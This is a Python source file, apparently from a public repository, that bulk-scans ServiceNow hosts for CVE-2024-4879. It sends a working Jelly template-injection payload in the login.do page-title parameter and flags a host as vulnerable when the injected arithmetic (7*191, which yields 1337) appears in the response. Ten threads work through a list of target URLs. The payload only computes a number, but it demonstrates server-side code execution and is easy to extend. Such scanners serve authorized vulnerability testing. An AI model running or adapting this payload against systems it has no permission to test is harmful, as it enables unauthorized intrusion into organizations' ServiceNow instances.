"""
Bulk scanning tool for ServiceNow CVE-2024-4879.

Usage:
    single scan: CVE-2024-4879.py -u https://target:9090
    bulk scan CVE-2024-4879.py -f file.txt

Author: x.com/MohamedNab1l                                                                             
GitHub: https://github.com/bigb0x/CVE-2024-4879
This tool is inspired by Assetnote's security research: https://www.assetnote.io/resources/research/chaining-three-bugs-to-access-all-your-servicenow-data

Disclaimer:
    I like to create my own tools for fun, work and educational purposes only. I do not support or encourage hacking or unauthorized access to any system or network. Please use my tools responsibly and only on systems where you have clear permission to test.

"""
import requests
import argparse
import threading
import queue
import os
from requests.exceptions import RequestException
from datetime import datetime
import urllib3
import signal
import sys

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

the_version = "1.0.1"

dimmed_gray_color = '\033[90m'
honey_yellow_color = "\033[38;5;214m"
dim_yellow_color = '\033[33;1m'
cyan_color = '\033[96m'
green_color = '\033[92m'
red_color = '\033[31m'
light_orange_color = '\033[38;5;214m'
reset_color = '\033[0m'

def banner():
    print(f"""
{light_orange_color}                                                                        
  ______     _______     ____   ___ ____  _  _         _  _    ___ _____ ___  
 / ___\ \   / / ____|   |___ \ / _ \___ \| || |       | || |  ( _ )___  / _ \ 
| |    \ \ / /|  _| _____ __) | | | |__) | || |_ _____| || |_ / _ \  / / (_) |
| |___  \ V / | |__|_____/ __/| |_| / __/|__   _|_____|__   _| (_) |/ / \__, |
 \____|  \_/  |_____|   |_____|\___/_____|  |_|          |_|  \___//_/    /_/ 
                                 
{reset_color}-> Bulk scanning tool for ServiceNow CVE-2024-4879 vulnerability.{reset_color}
{reset_color}{dimmed_gray_color}-> By x.com/MohamedNab1l
{light_orange_color}-> Use Wisely.{reset_color}
""")

LOG_DIR = 'logs'
LOG_FILE = os.path.join(LOG_DIR, 'scan.log')

def create_log_dir():
    if not os.path.exists(LOG_DIR):
        os.makedirs(LOG_DIR)
        print_message('info', f"Log directory created: {LOG_DIR}")

def log_message(message):
    with open(LOG_FILE, 'a') as log_file:
        log_file.write(f"{datetime.now().strftime('%Y-%m-%d %H:%M:%S')} - {message}\n")

def print_message(level, message):
    if level == 'vulnerable':
        print(f"{cyan_color}[VLUN] {message}{reset_color}")
    if level == 'info':
        print(f"{dimmed_gray_color}[INFO] {message}{reset_color}")
    elif level == 'success':
        print(f"{green_color}[VLUN] {message}{reset_color}")
    elif level == 'warning':
        print(f"{honey_yellow_color}[WARNING] {message}{reset_color}")
    elif level == 'error':
        print(f"{red_color}[ERROR] {message}{reset_color}")
    log_message(message)

paths_to_check = "/login.do?jvar_page_title=<style><j:jelly xmlns:j=\"jelly\" xmlns:g='glide'><g:evaluate>gs.addErrorMessage(7*191);</g:evaluate></j:jelly></style>"

def make_request(url):
    try:
        response = requests.get(url, verify=False)
        if response.status_code == 200:
            return response.text
        else:
            return None
    except requests.RequestException as e:
        return None

def test_host(url):
    try:
        fullurl = f"{url}{paths_to_check}"
        body = make_request(fullurl)
        if body is not None and '>1337<' in body:
            print_message('vulnerable', f"Vulnerable: {url}")
            #print(body)
        else:
            print_message('warning', f"Not Vulnerable: {url}")
    except requests.RequestException as e:
        print_message('error', f"Timeout: {url}")

def worker(queue):
    while not queue.empty():
        url = queue.get()
        print_message('info', f"Testing {url}")
        test_host(url)
        queue.task_done()

def signal_handler(sig, frame):
    print_message('error', 'You pressed Ctrl+C! Exiting gracefully.')
    sys.exit(0)

def main():
    signal.signal(signal.SIGINT, signal_handler)
    banner()
    parser = argparse.ArgumentParser(description='Bulk scanning tool for ServiceNow CVE-2024-4879.')
    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument('-u', '--url', help='Target URL (e.g., http://example.com)')
    group.add_argument('-f', '--file', help='File containing list of URLs (one per line)')

    args = parser.parse_args()

    create_log_dir()

    if args.url:
        print_message('info', f"Testing single target: {args.url}")
        test_host(args.url)
    elif args.file:
        with open(args.file, 'r') as f:
            urls = [line.strip() for line in f if line.strip()]
        
        print_message('info', f"Testing multiple targets from file: {args.file}")

        url_queue = queue.Queue()
        for url in urls:
            url_queue.put(url)

        threads = []
        for _ in range(10):
            t = threading.Thread(target=worker, args=(url_queue,))
            t.start()
            threads.append(t)

        for t in threads:
            t.join()

        print_message('info', "Scanning complete.")

if __name__ == '__main__':
    main()